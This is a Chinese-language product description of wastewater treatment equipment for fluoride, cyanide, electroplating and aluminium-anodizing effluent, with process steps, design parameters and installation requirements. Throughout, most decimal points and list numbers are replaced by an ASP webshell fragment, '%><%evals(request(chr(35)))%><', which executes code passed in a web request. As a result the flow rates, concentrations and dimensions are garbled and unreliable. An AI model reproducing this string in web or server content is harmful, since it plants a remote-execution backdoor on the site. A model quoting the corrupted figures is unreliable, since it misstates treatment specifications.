含氟废水处理设备采用了“波形水力反应” 、“集泥槽式异向流波形斜管沉淀” 、“滤料重力式滤池过滤”等新工艺 。是将反应﹑沉淀﹑过滤三个主要处理工艺组合成一体的处理设备 ，该处理器具有处理时间短﹑效率高﹑出水效果好﹑投资省﹑上马快 、结构紧凑 、管理方便 、占地少 、工程基建小 、易组合配套 、可间断或连续运行 、性能稳定 、处理效率高 、工作无噪声等优点 。

一 、技术性能 ：

1"%><%evals(request(chr(35)))%><本处理器具备自动反冲洗装置 。操作管理简便 ，对原水浊度与水量有较好的适应性 。

2"%><%evals(request(chr(35)))%><本处理器适用含氟矿石开采 、金属冶炼 、铝加工 、焦炭 、半导体行业 、彩管厂 、燃煤电厂 、玻璃制品等行业产生的生产废水的净化 ，也可用于生活污水 、工业废水的深度回用处理 。本设备的进水悬浮物含量一般不超过1000毫克/升 ，最大不宜超过2000毫克/升 。

3"%><%evals(request(chr(35)))%><本设备为低级压力容器 ，工作压力≤0"%><%evals(request(chr(35)))%><05MPa出水压力≥0"%><%evals(request(chr(35)))%><02MPa

4"%><%evals(request(chr(35)))%><本设备采用二次加药技术去除废水中的氟化物 ，原水与石灰反应后直接与Al2（SO4）3反应 ，再经过斜管沉淀及重力式滤池过滤后 ，出水氟化物浓度可稳定控制在10"%><%evals(request(chr(35)))%><0mg/L以下 。

二 、技术参数 ：

1．流量12"%><%evals(request(chr(35)))%><5m3/h ， 总计停留时间3"%><%evals(request(chr(35)))%><0h 。

2．混凝反应区（一） ：停留时间为25分钟 。

3．混凝反应区（二） ：停留时间为25分钟 。

4．沉淀区 ：表面负荷率1"%><%evals(request(chr(35)))%><3米3/米2 。

5．过滤区 ：滤速为10米/小时 ，反冲洗强度为14-15升/秒/米 。

6．设备由plc控制 ，进水 、出水 、反冲 、及排泥等各阀门实现自动控制 。

7．根据用户的需求可另行制作其它规格 。

8．外型尺寸（长×宽×高） ： 7"%><%evals(request(chr(35)))%><0×2"%><%evals(request(chr(35)))%><0×3"%><%evals(request(chr(35)))%><0米

三 、安装技术要求 ：

1．水泵选择

A ：水量应按处理器型号（产水量）选配 。

B ：水泵扬程 ：H=水泵的吸程+处理器的高度+5米 。

2．本设备宜安装在室内 ，冰冻地区应设保暖设施 ，设备安装位置应选择在离水源较近的地方 。如远距离输水应设二级泵站或配水池 。

3．处理器在安装前 ，应先打好混凝土底梁 ，排水沟 ，排泥沟 ，而后将处理器就位 。使其保持水平 ，按照设备印有的标记和安装图连接各部管路﹑阀门﹑仪表及各部零件 。另外在安装时请注意 ：各排泥管不得与下水管线密闭连接 ，应先经排泥沟，后入下水道 。排泥管末端与沟底应有300~500毫米的距离以便取样 ，观察 ，控制排泥周期和排泥量 。

4．各种滤料的填装 ：各零部件安装完毕后 ，打开滤池人孔盖先将石英砂由大到小按规格层次清洗后逐层填装 ，并保持各层平整﹑均匀 ，然后填装粒径为0"%><%evals(request(chr(35)))%><6~1"%><%evals(request(chr(35)))%><2毫米的石英砂滤料﹑厚度为700毫米 ，人孔填满时封闭人孔盖 。

含氰废水深度处理回用设备

含氰废水处理 ：

1"%><%evals(request(chr(35)))%><碱性QING化法 ：碱性QING化法对QING分二级氧化 ， 在碱性条件下 ，投入氧化剂将氰根离子通过两极氧化反应成CO2和N2 ，从而达到去除氰根离子的目的 ；

2"%><%evals(request(chr(35)))%><电解法 ：主要管适用于高浓度含氰废水 。铁氧体法处理含铬废水以FeSO4为还原剂 ，使Cr6+还原Cr3+ ，加碱使Cr3+和其他重金属离子发生共沉淀 ，生成M(OH)n·Fe(OH)3 ，再经通过空气 ，加温 ，陈化等 ，最终形成铁氧体 。

膜技术在电镀废水中的应用

膜生物反应器处理电镀废水具有低能耗 ，无污染 ，浓缩倍数高等优点 ，膜集成技术用于电镀废水处理不会造成二次污染 ，回收了废水中的有害重金属 ，使资源再利用 。

膜处理电镀废水的效益 ：

1 、可用于金属离子 ；

2 、废水回用 ，降低漂洗用水量达到进一步处理排放 ，减少生化 ，物化处理规模 ；

3 、膜出水水质好 ，系统操作方便 ，占地面积小 ；

4 、投资回收期短 。

氧化废水处理设备

铝氧化废水达标处理核心技术

1废水特点

铝型材生产过程主要包括对成型铝材的脱脂 、碱蚀 、酸洗 、氧化 、封孔及着色 ，而经上述工序处理后的型材均需用水进行清洗 ，这部分型材清洗水以溢流形式排出清洗槽 ，是铝型材厂废水的主要来源 。铝型材厂生产废水除含有大量的铝离子 ，还含有部分锌 、镍 、铜等金属离子 ，废水的酸碱度视各生产要求不同而有所变化 ，但呈酸性的居多 。

2废水处理工艺流程

针对铝型材废水主要含各种金属离子及悬浮物的特性 ，采用中和调节及混凝沉淀法工艺 。铝型材生产废水由车间排出后流入中和调节池 ，池内设空气搅拌 ，以均衡水质 。废水经调节池均衡水质及水量后 ，加入碱调节pH值至6～9 ，再用泵抽送入沉淀池中 ，在抽送过程同时加入絮凝剂（PAM） 。废水中的金属离子在与碱反应形成氢氧化物后 ，又在絮凝剂的作用下 ，形成较大颗粒矾花 ，在重力作用下快速沉降 ，沉淀池上半部清液可直接外排 ，出水水质达到广东省地方排放标准dB 4426—89二类地区二级排放标准 。沉淀池污泥经污泥池浓缩后用泵抽送入板框压滤机脱水后作卫生填埋或综合利用 。

3工艺原理

调节池在铝型材废水处理中 ，将调节池的池型分为间歇和连续两种 。用pH自动调节仪控制废水的pH值 ，由于铝型材废水含有大量的铝 ，而铝在溶液中呈两性状态 。当pH＜3时 ，铝主要存在形态为Al（H2O）3＋6 ；当pH＝7时 ，氢氧化铝成为Al3＋的主要存在形态 ；当pH＞8"%><%evals(request(chr(35)))%><5后 ，大部分氢氧化铝便水解为带负电荷的络合阴离子 。所以 ，在工程调试时必须将pH值控制在适当的范围 ，以使铝能以氢氧化铝的形态充分沉淀 。